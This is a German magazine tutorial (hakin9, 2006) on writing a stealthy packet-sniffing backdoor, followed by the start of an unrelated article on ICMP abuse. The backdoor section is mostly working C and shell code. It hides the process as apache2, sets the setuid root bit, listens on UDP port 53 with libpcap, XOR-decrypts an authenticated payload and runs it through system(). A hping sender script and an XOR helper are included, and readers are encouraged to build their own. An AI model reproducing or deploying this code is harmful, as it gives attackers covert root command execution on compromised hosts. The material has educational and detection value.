standardmäßig ausgehenden Traffic zu beliebigen Ports zulassen. Firewalls, die den Zustand von Verbindungen verfolgen (Stateful Firewalls) erlauben häufig zurückkehrenden, eingehenden Traffic, der in Beziehung zu feststehenden Verbindungen steht. Aufgrund dessen ist diese Technik erfolgreich. Leider taucht diese Art von Backdoor in der Ausgabe von netstat auf (und erscheint sehr auffällig), weil es immer noch eine vom System verwaltete Verbindung ist. Ein weiterer Makel, der mit dieser Methode einhergeht, ist, dass Zeitvorgaben und/oder Auslöser benötigt werden, um festzulegen, wann und wo eine Rückverbindung eintreten soll.

www.hakin9.org

mit ihnen einher, zum Beispiel festzustellen, welche Pakete zur Auswertung von Befehlen ausgewählt werden sollen und wie diese authentifiziert werden können. Außerdem könnte das Senden von Zeichenketten mit KlartextBefehlen in den Paketen das Vorhandensein einer Backdoor an jemanden verraten, der den Netzwerkverkehr überwacht – daher sollte eine Art von Kodierung oder Verschlüsselung benutzt werden. Obwohl diese Methode nicht makellos ist, kann sie sehr unauffällig und schwer zu entdecken sein, es sei denn, jemand sucht explizit danach. Der Artikel untersucht die Natur dieser Art von Backdoor weiter, indem er zeigt, wie man eine solche schreibt.

Ziele von Backdoors

Bevor irgendein Programm geschrieben wird ist es am besten, zuerst die Ziele des Programms festzulegen. Sobald diese genau bestimmt wurden, ist es einfach einen Entwurf des Programms zu schreiben, um später darauf den Code aufzubauen. Die Ziele, die es mit unserem Beispiel einer paketsniffenden Backdoor zu erreichen gilt, werden die Folgenden sein: •

•

•

•

als ein setuid()-Programm laufen, offensichtlich um seinen Benutzer root-Zugriff zu geben, aber auch, weil root-Privilegien für das Mitschneiden von Paketen benötigt werden; Mitschneiden von Paketen, die an einen ausgewählten, gängigen Port wie zum Beispiel UDP 53 (von DNS benutzt) gerichtet sind; auswerten und entziffern von jedem Paket mit einer Art Authentisierung, idealerweise Verschlüsselung, und Ausführung authentifizierter Paketinhalte als Befehle; einige zusätzliche Rootkit-Funktionen besitzen, um die Erkennung durch Tools wie zum Beispiel ps zu vermeiden.

hakin9 Nr. 2/2006

37

Techniken

Listing 1. Grundlegendes Code-Skelett Main Programmname Funktion { Verschleiere den Namen des Prozesses Erhöhe die Rechte Intialisiere Variablen und die Funktionen zum Abfangen der Pakete Erstelle einen Paketfilter für den gewünschten Port, Protokoll, u.s.w. Setze den Paketfilter in Kraft

}

Führe dies unendlich oft aus { Rufe die Funktion zum Abfangen der Pakete auf Leite die abgefangenen Pakete an die Packet Handler Funktion weiter }

Packet Handler Funktion { Überprüfe ob das Paket für die Backdoor gedacht ist, überprüfe ob der vordefinierte Backdoor Header Key vorhanden ist ->falls nicht, dann kehre zum Ausgangszustand zurück Da die Backdoor einen Header Key besitzt, entschlüssele den verbleibenden Rest des Pakets mit dem vordefinierten Passwort Nach der Entschlüsselung, überprüfe ob die Daten richtig, in für die Backdoor bestimmte Kommandos entschlüsselt wurden, durch Überprüfung ob die Protokoll-Header/-Footer vorhanden sind ->Falls keine Header/ Footer Flags vorhanden sind, kehre zum Ausgangszustand zurück

}

Da das Paket den Header Key beinhaltete und sauber entschlüsselt worden ist, die passenden Flags beinhaltete, führe nun den Rest der Daten aus. Rufe das System auf um die entschlüsselten Daten ausuführen Kehre zum Ausgangszustand zurück

Code-Skelett

Nachdem die Ziele unseres Beispiels festgelegt wurden, müssen wir nun einen Weg benutzen, um die Struktur und Logik des Programms zu illustrieren. Das kann auf viele verschiedene Wege geschehen, zum Beispiel via Diagrammen. Ein anderer Weg wäre es, Pseudo-Code zu benutzen, der später sehr leicht zu lesen und in realen Code übertragen werden kann. Listing 1 enthält ein ProgrammSkelett, welches umreißt, wie die gewünschten Backdoor-Ziele erreicht werden können. Dieses Grundgerüst ist anschaulich mit Code und Kommentar beschrieben und soll die Ablauflogik des Programms illustrieren. Diese Basis wird dann im gesamten Artikel

38

hakin9 Nr. 2/2006

benutzt, um den eigentlichen Backdoor-Code zu schreiben. Das in Listing 1 gezeigte Programm-Layout ist in zwei Segmente unterteilt: eine Hauptfunktion und einer Pakethandler-Funktion, die von der Hauptfunktion aufgerufen wird. In main() wird die Maskierung des Prozessnamens durchgeführt, um jeden zu täuschen, der ein Programm wie ps ausführt, um die derzeit laufenden Prozesse anzusehen. Aus offensichtlichen Gründen wird ein Angreifer nicht wollen, dass ein Administrator einen Prozess wie backdoor oder silentdoor etc. sieht. Danach werden die Privilegien erhöht, sowohl für die Fähigkeit Pakete einzufangen, als auch um sie dem Backdoor-Benutzer zur Verfügung zu stellen. Als nächstes werden

www.hakin9.org

die Capturing-Variablen und -Funktionen, die für das Mitschneiden einer Paketsession benötigt werden, initialisiert. Letztendlich wird eine Endlosschleife für das Einfangen der Pakete betreten, die jedes eingefangene Paket an die Handler-Funktion weiterleitet. In der Pakethandler-Funktion wird der Großteil der Programmlogik benötigt, weil sie feststellen muss, welche Pakete an die Backdoor gerichtet sind, von all den Paketen mit dem gleichen Protokoll und Port. Der effizienteste Weg das zu tun ist, eine Art von Authentifikation einzubauen, die idalerweise mit einem Verschlüsselungsalgorithmus ausgestattet ist. In dem Grundriss des Programms wird das empfangene Paket nach einem Backdoor-Header-Schlüssel (einer Schlüsselphrase, die darauf hinweist, dass das Paket an die Backdoor gerichtet ist) durchsucht. Wenn dieser Backdoor-HeaderSchlüssel nicht vorhanden ist, kehrt die Handler-Funktion unverzüglich zurück, so dass das Programm bereit ist, das nächste Paket aufzunehmen. Wenn der Header-Schlüssel allerdings vorhanden ist, werden die verbleibenen Paketdaten mit einem einfachen Entschlüsselungsschema entschlüsselt. Im Anschluss daran wird der entschlüsselte Inhalt der Pakete nach einer Zeichenkette oder einem Flag durchsucht, um zu untersuchen, ob die Entschlüsselung erfolgreich war. Wenn die entschlüsselten Flags nicht gefunden werden, springt der Handler einfach zurück. Das wird als letzte Ebene der Authenfizierung gemacht: wenn das Paket den Header-Schlüssel besitzt und die Inhalte des Pakets richtig entschlüsselt wurden, kann mit hoher Sicherheit angenommen werden, dass das Paket für die Backdoor gedacht ist und einen Befehl enthält. Zu diesem Zeitpunkt werden die verbleibenen, entschlüsselten Paketinhalte extrahiert und als Systembefehl ausgeführt, wodurch der Zweck der Backdoor abgeschlossen wird.

Schreiben einer Backdoor, die Pakete mitschneidet

Schreiben des Programms

Das Schreiben eines paketsniffenden Programms ist relativ einfach, insbesondere wenn man die libpcap-Bibliothek benutzt. Libpcap ist eine Bibliothek, die eine robuste und leicht zu benutzende Reihe von Funktionen zum Einfangen und Verwalten von Paketen bereit stellt. Dieser Artikel führt in einige grundlegende libpcap-Funktionen ein, die beim Schreiben der Backdoor benutzt werden. Er umfasst allerdings keineswegs libpcap in dessen Gesamtheit. Eine umfassende Dokumentation der Funktionen von libpcap und zugehörigen Informationen ist unter http://www.tcpdump.org verfügbar.

Verstecken des Prozessnamens

Das Verstecken oder Maskieren des Prozessnamens ist das erste Ziel, dass in dem Programmentwurf enthalten ist. Es ist wiederum das erste Problem, dass während des Code-Schreibens angegangen wird. Listing 2 zeigt den Anfang einer Umwandlung des PseudoCodes aus Listing 1 in C. In der main()-Funktion ist die erste Zeile des Codes strcpy(argv[0], MASK). Dieser Funktionsaufruf kopiert die in MASK definierte Zeichenkette nach argv[0]. Wenn argv[0] verändert wird, wird ebenfalls der Base-Name und wiederum der Prozessname des Programms geändert. Das ist ein einfacherer und effektiver Weg den Prozessnamen des Programms zu ändern (um jemanden, der ps ausführt, zu täuschen). In diesem Fall wird der Name so geändert, dass er dem Prozessnamen eines laufenden Apaches ähnelt.

Erhöhen der Privilegien

Listing 2 zeigt ebenfalls, wie die Privilegien geändert werden, indem setuid(0) und setgid(0) aufgerufen werden, um die UID bzw. die GID zu setzen. Dieser Schritt ist der wesentlichste Zweck einer Backdoor. Diese

Listing 2. Verstecken des Prozessnamens und Erhöhen der Privilegien #include #include #include #include #include

<stdio.h> <string.h> <sys/types.h>

#define MASK "/usr/sbin/apache2 -k start -DSSL" int main(int argc, char *argv[]) { /* Verschleiere den Namen des Prozesses */ strcpy(argv[0], MASK); /* Ändere die UID/GID zu 0 (Erhöhung der Rechte) */ setuid(0); setgid(0); /* /* /* /*

Bereite das Abfangen der Pakete vor */ ... */ Fange die Pakete ab und leite Sie an den Handler weiter*/ ... */

}

Funktionen nehmen jeweils ein Argument entgegen: die gewünschte ID. Weil der Wert der User- und GroupID von root 0 ist, geben diese Funktionen dem Programm wirkungsvoll root-Privilegien. Root-Privilegien sind nicht nur dazu gedacht, dem Benutzer vollständigen Zugriff bereit zu stellen, sondern sind auch zum Einfangen der Pakete erforderlich. Damit es dem Programm überhaupt erlaubt ist, seine eigenen Privilegien festzulegen, muss das kompilierte Binary natürlich ein gesetztes suid-Bit auf dem Zielsystem besitzen. Das Setzen des setuid-Bit und relevanter Berechtigungen für das BackdoorBinary ist so in etwa so einfach wie das Übergeben der folgenden Befehle an das Zielsystem: # chown root backdoor_binary # chmod +s backdoor_binary

Einfangen von Paketen

Die Zeit ist gekommen um zu beginnen die entscheidenden pcap-Funktionen zum Einfangen von Paketen zu schreiben. Listing 3 enthält den unverhüllten Code, der notwendig ist, um eine Capture-Session von Paketen für unsere Beispiel-Backdoor zu starten. Der erste Schritt in

www.hakin9.org

diesem Prozess ist das Aufrufen der pcap _ lookupnet()-Funktion, die dazu gedacht ist, pcap das Netzwerk und die Netmask, von der aus es sniffen soll, mitzuteilen. Dieser spezielle Aufruf wird das Netzwerk und die Netmask ausfindig machen und in die bpf _ u _ int32-Variablen net bzw. mask speichern, die als Argumente bereit gestellt werden. Das erste Argument der Funktion ist das gewünschte Gerät, von dem aus Pakete eingefangen werden soll. Setzt man es auf NULL, so wird die Benutzung von allen Geräten herbeigeführt, wodurch Pakete auf allen verfügbaren Schnittstellen eingefangen werden. Da ein Angreifer vermutlich nicht die Geräte auf einem Zielsystem kennt, ist es zum Schreiben einer Backdoor am Besten, wenn die Geräte nicht festgelegt werden. Schlägt die Funktion fehl, wird -1 zurückgegeben und das Programm ruft exit() auf. Die nächste Funktion, die in Listing 3 aufgerufen wird, ist pcap _ open _ live(). Sie öffnet und gibt einen Pointer auf einen Paketcapture-Deskriptor zurück. Ein CaptureDeskriptor ist der primäre Datentyp, der zum Einfangen von Paketen benutzt wird und schließlich alle As-

hakin9 Nr. 2/2006

39

Techniken

es in ein bpf _ program umgewandelt wird, sagt diese Zeichenkettenregel pcap, dass es nur Pakete, die an UDP Port 53 gerichtet sind, einfangen soll. Sobald der Paketfilter kompiliert wurde, wird er durch den Aufruf

Listing 3. Einfangen von Paketen pcap_t char char struct bpf_u_int32 bpf_u_int32

*sniff_session; errbuf[PCAP_ERRBUF_SIZE]; filter_string[]="udp dst port 53"; bpf_program filter; net; mask;

p c ap _ setfilter(sn iff _ session,

if (-1 == pcap_lookupnet(NULL, &net, &mask, errbuf)) { exit(0); } if (!(sniff_session=pcap_open_live(NULL, 1024, 0, 0, errbuf))) { exit(0); } pcap_compile(sniff_session, &filter, filter_string, 0, net); pcap_setfilter(sniff_session, &filter); pcap_loop(sniff_session, 0, packet_handler, NULL);

pekte einer Paket-Capturingsession verwaltet. Wie die vorhergehende Funktion ist das erste Argument dieser Funktion die Netzwerkschnittstelle, auf der eingefangen werden soll, wobei NULL wiederum alle Schnittstellen bedeutet. Das nächste Argument ist dazu gedacht, die maximale Menge an Bytes festzulegen, die von jedem Paket eingefangen werden soll, genannt snaplen. Sie ist auf 1024 gesetzt. Das dritte Argument legt fest, ob die Schnittstelle in den promiscuous-Modus gesetzt werden soll (und damit, ob Pakete eingefangen werden sollen, die nicht für dieses System gedacht waren) oder nicht. Hier wird es auf non-promiscuousModus gesetzt, aber die Option hat in diesem Fall keine Auswirkungen, weil sie ignoriert wird, sofern NULL (jede Schnittstelle) im ersten Argument festgelegt wird. Für diese Anwendung ist es ein Vorteil, wenn die Schnittstelle nicht im promiscuous-Modus betrieben wird. Wenn eine Schnittstelle in den promiscuous-Modus übergeht, wird häufig eine Meldung, die den Status der Schnittstelle meldet, im Systemlog aufgezeichnet (wodurch das Vorhandensein der Backdoor verraten werden könnte). Das vierte Argument ist ein Read-Timeout in Millisekunden; 0 bedeutet, dass es keinen Timeout gibt. Wenn pcap _ open _ live() fehl schlägt, wird NULL zurückgegeben und das Programm

40

hakin9 Nr. 2/2006

führt exit() aus, ansonsten wird ein Pointer zu einem Capture-Deskriptor zurückgegeben. Der nächste Aufruf gilt der Funktion pcap _ compile(). Diese Funktion erstellt, oder wie pcap es nennt kompiliert, einen Paketfilter, der abgrenzen soll, welche Art von Paketen eingefangen werden. Das Erstellen eines Paketfilters ist der einfachste Weg um das gewünschte Protokoll und den gewünschten Port von Paketen festzulegen, die eingefangen werden sollen. Er kann daher dazu benutzt werden, eines der Ziele der Backdoor erfüllen. Das erste Argument für pcap _ compile() ist der Capture-Deskriptor sniff _ session. Das nächste Argument, das erwartet wird, ist ein Pointer zu einer bpf _ program Struktur. Diese Struktur wird als Filterprogramm bezeichnet, dass von pcap _ compile() kompiliert wird. In dem Beispiel wird das deklarierte bpf _ program filter genannt und wird mit seiner Adresse (gewissermaßen einem Pointer) an pcap _ compile() übergeben. Das dritte Argument ist die Zeichenkette, die Regeln enthält, die in den Filter eingebaut werden sollen. Die Zeichenketten mit Filterregeln werden in einer logischen und intuitiven Syntax geschrieben. Das als filter _ string[] deklarierte Array, welches "udp dst port 53" enthält, wird als Argument übergeben. Wenn

www.hakin9.org

filter) in

Kraft gesetzt. Von hier an wird jedes Paket, dass über den Capture-Deskriptor sniff _ session eingefangen wurde, vom Protokoll UDP und für Port 53 bestimmt sein (was eines der Ziele der Backdoor war). Am Ende von Listing 3 wird die Funktion pcap _ loop() aufgerufen, um die eigentliche Capture-Session zu starten. Die von pcap _ loop() erwarteten Argumente sind: der Capture-Deskriptor, die Anzahl von Paketen, die eingefangen werden sollen, der Name einer Pakethandler-Funktion und ein beliebig definierter Pointer, der an den Pakethandler übergeben wird. Die pcap _ loop()Funktion arbeitet, indem sie nach Paketen auf dem vorgegebenen Deskriptor lauscht und diese einfängt, bis die festgelegte Capture-Menge erreicht wird. Nach dem Einfangen jedes einzelnen Pakets ruft es die vorgegebene Handler-Funktion auf, um das Paket entsprechend weiter zu verarbeiten. Diese Pakethandler-Funktion muss eine speziell definierte Argumentstruktur besitzen, weil pcap _ loop() seine Daten auf eine bestimmte Art und Weise weiterleitet. Wenn pcap _ loop() die Pakethandler-Funktion aufruft, gibt es die folgenden Argumente in dieser Reihenfolge an den Handler weiter: einen vom Programmierer definierten Pointer, einen Pointer zu einer pcap _ pkthdr -Struktur (wird später noch erklärt) und einen Pointer zum Paket selbst. Dadurch wird der Pakethandler-Funktion ermöglicht, das Paket, die jeweiligen Informationen und alle anderen Daten, die der Programmierer gern (mittels des definierten Pointers) weiterleiten möchte, zu empfangen. In Listing 3 ist die übergebene Paketanzahl 0, wodurch pcap _ loop()

Schreiben einer Backdoor, die Pakete mitschneidet

mitgeteilt wird, dass es unbegrenzt Pakete einfangen soll. Es wird festgelegt, dass die Pakethandler-Funktion als packet _ handler bezeichnet wird. Das bedeutet, dass pcap nach einer Funktion mit diesem Namen suchen wird, an die es die eingefangenen Pakete weiterleitet. Der vom Programmierer definierte Pointer ist nicht unbedingt erforderlich, da er nie wirklich von pcap aufgelöst wird; er ist nur als Mittel für den Programmierer gedacht, um Daten über pcap _ loop() an die Handler-Funktion zu übergeben. Zum Schreiben dieser Backdoor und im Rahmen des Artikels wird dieser Pointer nicht benutzt und wird wiederum als NULL an pcap _ loop() übergeben.

Listing 4. Verwaltung von Paketen und Parsen von Befehlen #define #define #define #define #define #define #define #define

void packet_handler(u_char *ptrnull, const struct pcap_pkthdr *pkt_info, const u_char *packet) { int len, loop; char *ptr, *ptr2; char decrypt[MAX_SIZE]; char command[MAX_SIZE]; /* Schritt 1: Finde heraus wo die Payload des Pakets sich befindet */ ptr = (char *)(packet + ETHER_IP_UDP_LEN); if ((pkt_info->caplen - ETHER_IP_UDP_LEN - 14) <= 0) return;

Verwaltung von Paketen und Parsen von Befehlen

Wie man ein eingefangenes Paket verwaltet und richtig nach seinen Befehlen durchsucht, ist die schwierigste Aufgabe, die es anzugehen gilt, wenn man eine paketsniffende Backdoor schreibt. Da der Programmierer jedoch weiß, dass pcap die Argumente der Handler-Funktion in einer speziellen Reihenfolge weiterleiten wird, ist das Schreiben eines Prototyps für die Handler-Funktion relativ einfach. Das erste Argument, welches an den Handler übergeben wird, ist der vom Programmierer definierte Pointer u _ char *user. Das ist derselbe Pointer, den wir vorher mit NULL an pcap _ loop() übergeben haben, wodurch bekannt ist, dass keine Daten in diesem Argument in unserem Beispiel vorhanden sein werden. Das zweite Argument, welches an diese Funktion übergeben wird, ist ein Pointer auf eine pcap _ pkthdr Struktur. Diese Struktur enthält drei Elemente: struct timeval ts, das die Zeit enthält, zu der das Paket eingefangen wurde, bpf _ u _ int32 caplen, das die Anzahl der eingefangenen Bytes enthält und bpf _ u _ int32 len, welches die gesamte Bytelänge enthält, die zum Einfangen zur Verfügung steht (welche größer als die eingefangenen Bytes

ETHER_IP_UDP_LEN 44 MAX_SIZE 1024 BACKDOOR_HEADER_KEY "leet" BACKDOOR_HEADER_LEN 4 PASSWORD "password" PASSLEN 8 COMMAND_START "start[" COMMAND_END "]end"

/* Schritt 2: Untersuche die Payload nach dem Backdoor Header Key */ if (0 != memcmp(ptr, BACKDOOR_HEADER_KEY, BACKDOOR_HEADER_LEN)) return; ptr += BACKDOOR_HEADER_LEN; len = (pkt_info->caplen - ETHER_IP_UDP_LEN - BACKDOOR_HEADER_LEN); memset(decrypt, 0x0, sizeof(decrypt)); /* Schritt 3: Entschlüssele das Paket, durch eine XOR Verknüpfung */ /* des Passwortes mit dem Inhalt */ for (loop = 0; loop < len; loop++) decrypt[loop] = ptr[loop] ^ PASSWORD[(loop % PASSLEN)]; /* Schritt 4: Überprüfe die entschlüsselten Daten */ if (!(ptr = strstr(decrypt, COMMAND_START))) return; ptr += strlen(COMMAND_START); if (!(ptr2 = strstr(ptr, COMMAND_END))) return; /* Schritt 5: Hole das raus, was übrig bleibt */ memset(command, 0x0, sizeof(command)); strncpy(command, ptr, (ptr2 - ptr));

}

/* Schritt 6: Führe die Befehle aus */ system(command); return;

sein könnte, wenn es snaplen überschritten hat). Das letzte Argument, welches schließlich übergeben wird, ist ein unsigned char *packet, der auf die Paketdaten zeigt. Beachten Sie, dass pcap das gesamte Paket einfängt, inklusive der Protokoll-Header, weshalb der Pointer u _ char *packet auf den Anfang des ganzen Pakets (nicht nur dessen Inhalts)

www.hakin9.org

zeigt. Um ausschließlich auf den Inhalt des Pakets zuzugreifen, muss die Länge der ProtokollHeader (Ethernet, UDP, IP, etc.) in Bytes bekannt sein, um sie auf den übergebenen Paket-Pointer aufzurechnen. In Listing 4 gibt es einen #define-Wert für die zusammengefassten Headerlängen von Ethernet, IP und UDP-Headern, mit einer Gesamtmenge von 44 Bytes.

hakin9 Nr. 2/2006

41

Techniken

Listing 5. silentkey.sh – ein Shellskript zum Senden von Befehlen in Paketen #!/bin/bash PASS=leet OPTS="-c 1 -2 -E /dev/stdin -d 100 -p 53 " COM_START="start[" COM_END="]end" if [ -z "$1" ] then echo "$0 " exit 0 fi if [ -z "$2" ] then echo "$0 " exit 0 fi echo "$COM_START$2$COM_END $PASS to hping $OPTS $1" ./xor_string "$COM_START$2$COM_END" $PASS | hping2 $OPTS $1

Listing 6. xor_string.c – benutzt vom Skript aus Listing 5 #include <stdio.h> int main(int argc, char *argv[]) { int i, x, y; if (!argv[1] || !argv[2]) { printf("%s <string> <pass>\n", argv[0]); return 0; } x = strlen(argv[1]); y = strlen(argv[2]); for (i = 0; i < x; ++i) argv[1][i] ^= argv[2][(i%y)]; printf("%s", argv[1]); return 0; }

Die in Listing 4 gezeigte Funktion wird packet _ handler() genannt, weil dies der erwartete Funktionsname ist (der in pcap _ loop() in Listing 3 übergeben wurde). Das ziel von packet _ handler() ist es sicherzustellen, dass das Paket, welches übergeben wird, an die Backdoor gerichtet ist und die rechtmäßigen Backdoor-Daten enthält. Um dies für unsere Beispiel-Backdoor zu erreichen, ist es notwendig, eine Art Backdoor-Protokollsyntax für die Authentifizierung und Entschlüsselung des Pakets zu schreiben. Wie in Listing 4 gezeigt, beinhaltet die erste Ebene der Authentifizierung den Vergleich der ersten Bytes des Paketinhalts mit einer Art Protokoll-Schlüssel. Wenn der Schlüssel nicht vorhanden ist, wird das Paket unverzüglich von der

42

hakin9 Nr. 2/2006

Benutzung für die Backdoor ausgeschlossen und die Funktion springt zurück. Das Vorhandensein dieses Protokoll-Schlüssels zeigt an, dass das Paket höchstwahrscheinlich

für die Backdoor gedacht ist und die Daten zur weiteren Authentifizierung verarbeitet werden sollten. Dass vor Ablauf intensiverer Formen von Authentifizierung auf einen Protokoll-Schlüssel hin überprüft wird, geschieht aus Effizienzgründen. Wenn die Handler-Funktion bisher noch nicht zurück gesprungen ist, ist anzunehmen, dass das Paket verschlüsselte Daten enthält. Es ist angemessen, jetzt zu versuchen, die verbliebenen Paketdaten zu entschlüsseln und dann nach weiterer Authentifizierung zu überprüfen. In dem Rahmen dieses Beispiels werden keine Mittel einer großen Verschlüsselung benutzt. Anstelle davon benutzen wir in diesem Beispiel eine Methode, die XOR-Verschlüsselung genannt wird. Diese Art von Verschlüsselung ist einfach, indem sie den bitweise funktionierenden XOR (Exclusive-OR) Operator benutzt, um zwei Daten-Bytes zu einem resultierenden Daten-Byte zu verarbeiten. Das bedeutet, dass ein Byte aus einer Passwort-Zeichenkette benutzt wird und dann mit einem Byte aus dem Datenarray, das verschlüsselt werden soll, mittels XOR verarbeitet wird. Das Resultat ist ein verschlüsseltes Byte. Der Entschlüsselungsprozess ist im Wesentlichen der gleiche: ein verschlüsseltes Byte wird mit dem dazugehörigen Passwort-Byte mittels XOR verarbeitet, um das ur-

Senden von Befehlen an die Backdoor

Jetzt wo wir mit der Backdoor fertig sind benötigen wir ein Tool, um Befehle zu senden. Listing 5 zeigt eine sehr einfache Implementation eines solchen Skripts. Es benötigt den hping-Befehl. Benutzung: $ ./silentkey.sh

Das Skript benötigt eine kleine C-Anwendung, um die Zeichenkette mittels XOR zu verschlüsseln (siehe Listing 6). Es sollte kompiliert werden und im gleichen Verzeichnis wie das silentkey.sh-Skript abgelegt werden: $ gcc -o xor_string xor_string.c

Dieses Skript kann sowohl mit der in diesem Artikel beschriebenen Backdoor benutzt werden, als auch mit der SilentDoor-Anwendung. Das SilentDoor-Paket enthält eine fortgeschrittenere Anwendung zum Senden von Befehlen.

www.hakin9.org

Schreiben einer Backdoor, die Pakete mitschneidet

Über den Autor

Brandon Edwards, auch bekannt als drraid, ist Forscher im Security-Bereich und Student aus Portland, Oregon, USA. Er sprach bereits auf Sicherheitskonferenzen wie der Defcon und arbeitet derzeit in der Sicherheitsindustrie. Er kann unter [email protected] kontaktiert werden.

sprüngliche und unverschlüsselte Byte zu erhalten. Listing 4 benutzt eine Schleife, um jedes verbleibene Byte des Pakets mittels XOR und einem als PASSWORD definierten Passwort zu verarbeiten. Der Modulo-Operator (%) wird benutzt um festzulegen, welches Byte der Passwort-Zeichenkette zu welchem Byte gehört, auf das im Paketinhalt verwiesen wird. Das entschlüsselte Byte, welches aus jedem Schleifendurchlauf resultiert, wird im Array namens decrypt[] gespeichert. Sobald die verbliebenen Daten entschlüsselt wurden, müssen diese verifiziert werden. Die Verifikation der entschlüsselten Daten wird durchgeführt um zu überprüfen, dass diese aus einem entschlüsselten Zustand heraus entstanden und demzufolge für die Backdoor vorgesehen waren. Es ist hier wichtig sich vor Augen zu führen, dass selbst wenn das Paket den Backdoor-Headerschlüssel enthielt, es vollkommen willkürlich und zufällig gewesen sein kann. Noch wichtiger ist, dass das Paket möglicherweise sogar von jemandem gespoofed sein kann, der von der Backdoor weiß, da der Headerschlüssel leicht gesnifft worden sein kann (weil er im Klartext steht). Indem die entschlüsselten Daten überprüft werden wird sicher gestellt, dass der

Erzeuger des Pakets nicht nur den Backdoor-Headerschlüssel kannte, sondern ebenfalls das Verschlüsselungspasswort. Zum Zwecke der einfachen Programmierung validiert Listing 4 den entschlüsselten Inhalt einfach, indem es nach zwei vordefinierten Zeichenketten in den entschlüsselten Daten sucht. Diese Zeichenketten sind als Header und Footer für die Befehlszeichenkette, die ausgeführt werden soll, gedacht und werden als COMMAND _ START und COMMAND _ END definiert. Wenn eine dieser beiden Zeichenketten nicht gefunden wird, wird das Paket als ungültig betrachtet und die Funktion springt zurück. Wenn jedoch beide Zeichenketten vorhanden sind, werden die Daten zwischen den beiden extrahiert und als ein Befehl betrachtet. Dieser letzte Schritt der Verifikation schließt nahezu alle (99,9%) Möglichkeiten eines bedeutungslos zufälligen oder betrügerisch erzeugten Pakets aus. Der letzte Schritt zur Vervollständigung des Backdoor-Zwecks ist die Ausführung der verbliebenen Zeichenkette als Befehl. Das wird in Listing 4 über den Aufruf von system() mit dem verbliebenen, entschlüsselten und extrahierten String getan. Beachten Sie, dass obwohl der Aufruf von system() zur

Im Internet • • • •

http://www.icir.org/vern/papers/backdoor – ein gutes Paper über Konzepte zur Erkennung von Backdoors, http://www.tcpdump.org – Heimat von libpcap und großartige Quelle für Dokumentationen, http://n0d0z.darktech.org/~drraid – drraids persönliche Seite zur Veröffentlichung von Code, http://www.rootkit.com – Online-Magazin über Rootkits und Backdoors.

www.hakin9.org

Ausführung der Zeichenkette als Befehl führt, er nichts dafür tut, die Eingabe/Ausgabe des ausgeführten Befehls zu verwalten. Wiederum ist system() auch nicht sehr unauffällig oder praktisch im Kontext einer remote-Backdoor und wird hier nur als Beispiel gezeigt. Unsere Beispiel-Backdoor ist, wie wir sehen können, sehr einfach. Jedoch bildet sie eine Basis fürs Experimentieren und für erweiterte Funktionalität. Ein Programm, das bereits auf der Basis dieser Idee erstellt wurde, ist SilentDoor vom Autor selbst, welches auf der hakin9.liveCD enthalten ist. Die Leser sollen ermutigt werden, mit dieser Idee herum zu experimentieren und sie zu erweitern. Sie können gern Ihre Kommentare entweder dem Autor oder den Magazin-Mitarbeitern mitteilen.

Fazit

Backdoors, die Pakete einfangen, sind heimtückisch und schwer zu vermeiden (oder sogar zu erkennen in den meisten Fällen). Hoffentlich haben Sie nach dem Lesen dieses Artikels ein gutes Verständnis über den Zweck dieser Backdoors, sowie einen Ausgangspunkt zum Schreiben Ihrer eigenen. Der hier bereitgestellte Code ist nur ein Proof-of-Concept und ist keineswegs stabil oder vollständig. Die Sicherheitsindustrie hat derzeit nicht viele (wenn überhaupt) Werkzeuge zur Erkennung dieser Art von Backdoor. Es gibt allerdings einige Tools zur Erkennung von Sniffing auf einem System, wobei die meisten aber nur Sniffing im promiscuous-Modus erkennen (wovon eine gut implementierte Backdoor nicht betroffen ist). Die Möglichkeit, den Status aller Anwendungen die auf einem System Pakete einfangen, zu ermitteln, könnte der nächste Schritt in der anti-Backdoor-Entwicklung sein. Bis die Tools sich jedoch dahingehend weiterentwickelt haben, sollte diese Technik als herkömmliche Bedrohung betrachtet werden. l

hakin9 Nr. 2/2006

43

Verwendung und Missbrauch von ICMP Techniken Antonio Merola

Schwierigkeitsgrad

ICMP wird häufig als harmloses, ungefährliches Protokoll betrachtet. Wenn es allerdings durch das Betriebssystem oder durch eine Firewall nicht korrekt behandelt wird, kann es von Angreifern für bösartige Zwecke ausgenutzt werden.

I

CMP steht für Internet Control Message Protocol. Es kümmert sich um die Zustellung von Informationen über dauerhafte Fehlerzustände. Die RFC-Spezifikation und die Merkmale des Protokolls sind in RFC 792 skizziert. Tabelle 1 listet RFC-Dokumente auf, die sich auf ICMP beziehen. ICMP wird beispielsweise verwendet, wenn ein Host eine UDP-Anfrage an einem Port enthält, an dem keine Anwendung lauscht oder wenn IP-Fragmentierung erforderlich ist und das DF-Bit gesetzt ist (siehe Kasten IP-Fragmentierung und ICMP). Es beschäftigt sich mit dem Berichten von Fehlerzuständen und dem Abfragen des Netzwerks. Obwohl ICMP genau wie die Transportschicht-Protokolle wie TCP oder UDP (OSISchicht 4) in IP-Datagramme gekapselt wird, ist es ein Protokoll der Vermittlungsschicht (OSI-Schicht 3) wie das IP-Protokoll selbst. ICMP bildet einen integralen Teil von IP, verwendet weder das Client-Server-Modell noch Portnummern, kann im Broadcast-Modus gesendet werden und garantiert nicht die Zustellung einer Nachricht. Die wichtigsten Daten im ICMP-Protokoll sind der Nachrichtentyp und der Nachrichtencode für den jeweiligen

46

hakin9 Nr. 2/2006

Typ. Diese zwei Zahlen befinden sich in den ersten zwei Bytes eines ICMP-Headers (siehe Abbildung 1). Tabelle 2 fasst die verschiedenen ICMP-Typen und Codes zusammen.

In diesem Artikel erfahren Sie... • •

•

• •

Details über die Arbeitsweise und die Verwendung von ICMP, Informationen, wie ICMP für Erkundung, Fingerprinting, heimliche Kanäle, DoS- und MITM-Angriffe verwendet werden kann, Angabe der ICMP-Nachrichtentypen, die für bösartige Zwecke ausgenutzt werden können und Darstellung der Möglichkeiten dieser Ausnutzung, Informationen, wie ICMP TCP-Verbindungen stören kann, Hinweise, wie man sich gegen ICMP-Missbrauch schützen kann.

Was Sie vorher wissen/können sollten... • •

www.hakin9.org

wie man mit *NIX-Betriebssystemen arbeitet, worin die Grundlagen von TCP/IP bestehen.

Missbrauch des ICMP-Protokolls

IP-Fragmentierung und ICMP

